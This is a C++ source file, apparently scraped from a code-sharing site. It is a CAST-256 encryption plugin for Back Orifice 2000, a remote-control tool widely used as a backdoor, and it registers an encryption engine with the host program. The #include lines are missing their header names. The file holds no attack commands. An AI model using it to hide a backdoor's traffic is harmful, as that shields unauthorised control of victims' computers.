www.pudn.com > cast_src.rar > bo_cast.cpp

/*	CAST-256 Strong Encryption Plugin for Back Orifice 2000 
	Copyright (C) 1999, Daniel Roethlisberger 
 
	This program is free software; you can redistribute it and/or modify 
	it under the terms of the GNU General Public License as published by 
	the Free Software Foundation; either version 2 of the License, or 
	(at your option) any later version. 
 
	This program is distributed in the hope that it will be useful, 
	but WITHOUT ANY WARRANTY; without even the implied warranty of 
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
	GNU General Public License for more details. 
 
	You should have received a copy of the GNU General Public License 
	along with this program; if not, write to the Free Software 
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA 
 
	The author of this program may be contacted at admin@roe.ch. 
*/ 
 
#include  
#include  
#include  
#include  
#include  
#include "bo_cast.h" 
 
CEncryptionHandler				*g_pEncHandler=NULL; 
CIOHandler						*g_pIOHandler=NULL; 
TYPEOF_RegisterCommand			*RegisterCommand=NULL; 
TYPEOF_UnregisterCommand		*UnregisterCommand=NULL; 
TYPEOF_RegisterClientMenu		*RegisterClientMenu=NULL; 
TYPEOF_UnregisterClientMenu		*UnregisterClientMenu=NULL; 
TYPEOF_IssueAuthCommandRequest	*IssueAuthCommandRequest=NULL; 
TYPEOF_IssueAuthCommandReply	*IssueAuthCommandReply=NULL; 
TYPEOF_ConnectAuthSocket		*ConnectAuthSocket=NULL; 
TYPEOF_ListenAuthSocket			*ListenAuthSocket=NULL; 
TYPEOF_InteractiveConnect		*InteractiveConnect=NULL; 
TYPEOF_InteractiveListen		*InteractiveListen=NULL; 
 
extern ENCRYPTION_ENGINE *GetCASTEncryptionEngine(void); 
 
#pragma comment(linker,"/section:.data,RW") 
#pragma comment(linker,"/section:.rdata,RW") 
#pragma comment(linker,"/section:.edata,RW") 
 
HINSTANCE g_hInstance; 
BOOL g_bActive; 
int g_nEncNum; 
 
char g_szCASTEncryptOptions[] = "<**CFG**>CAST\0" 
								"S[255]:" CAST_CONFIG_KEY_STRING "=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 
								"B:"      CAST_CONFIG_CBC_MODE   "=1\0"; 
 
BOOL WINAPI DllMain(HINSTANCE hInst, ULONG ul_reason_for_call, LPVOID lpReserved) 
{ 
	switch (ul_reason_for_call) 
	{ 
		case DLL_PROCESS_ATTACH: 
			g_hInstance=hInst; 
			break; 
	} 
	return TRUE; 
} 
 
BOOL InstallPlugin(PLUGIN_LINKAGE pl) 
{ 
	g_bActive = TRUE; 
	 
	g_pEncHandler = pl.pEncryptionHandler; 
	g_pIOHandler = pl.pIOHandler; 
	RegisterCommand = pl.pRegisterCommand; 
	UnregisterCommand = pl.pUnregisterCommand; 
	IssueAuthCommandRequest = pl.pIssueAuthCommandRequest; 
	IssueAuthCommandReply = pl.pIssueAuthCommandReply; 
	ConnectAuthSocket = pl.pConnectAuthSocket; 
	ListenAuthSocket = pl.pListenAuthSocket; 
	RegisterClientMenu = pl.pRegisterClientMenu; 
	UnregisterClientMenu = pl.pUnregisterClientMenu; 
	InteractiveListen = pl.pInteractiveListen; 
	InteractiveConnect = pl.pInteractiveConnect; 
	 
	if(g_pEncHandler) 
	{ 
		g_nEncNum = g_pEncHandler->Insert(GetCASTEncryptionEngine()); 
		if(g_nEncNum < 0) 
			return FALSE; 
	} 
	else 
		return FALSE; 
 
	return TRUE; 
} 
 
void TerminatePlugin(void) 
{ 
	g_bActive = FALSE; 
	if(g_pEncHandler) 
	{ 
		g_pEncHandler->Remove(g_nEncNum); 
	} 
} 
 
BOOL PluginVersion(PLUGIN_VERSION *ppv) 
{ 
	ppv->svFilename = CAST_PLUGIN_FILENAME; 
	ppv->svDescription = CAST_PLUGIN_DESCRIPTION; 
	ppv->wVersionHi = CAST_PLUGIN_VERSION / 10; 
	ppv->wVersionLo = CAST_PLUGIN_VERSION % 10; 
	ppv->wBOVersionHi = 1; 
	ppv->wBOVersionLo = 0; 
	return TRUE; 
}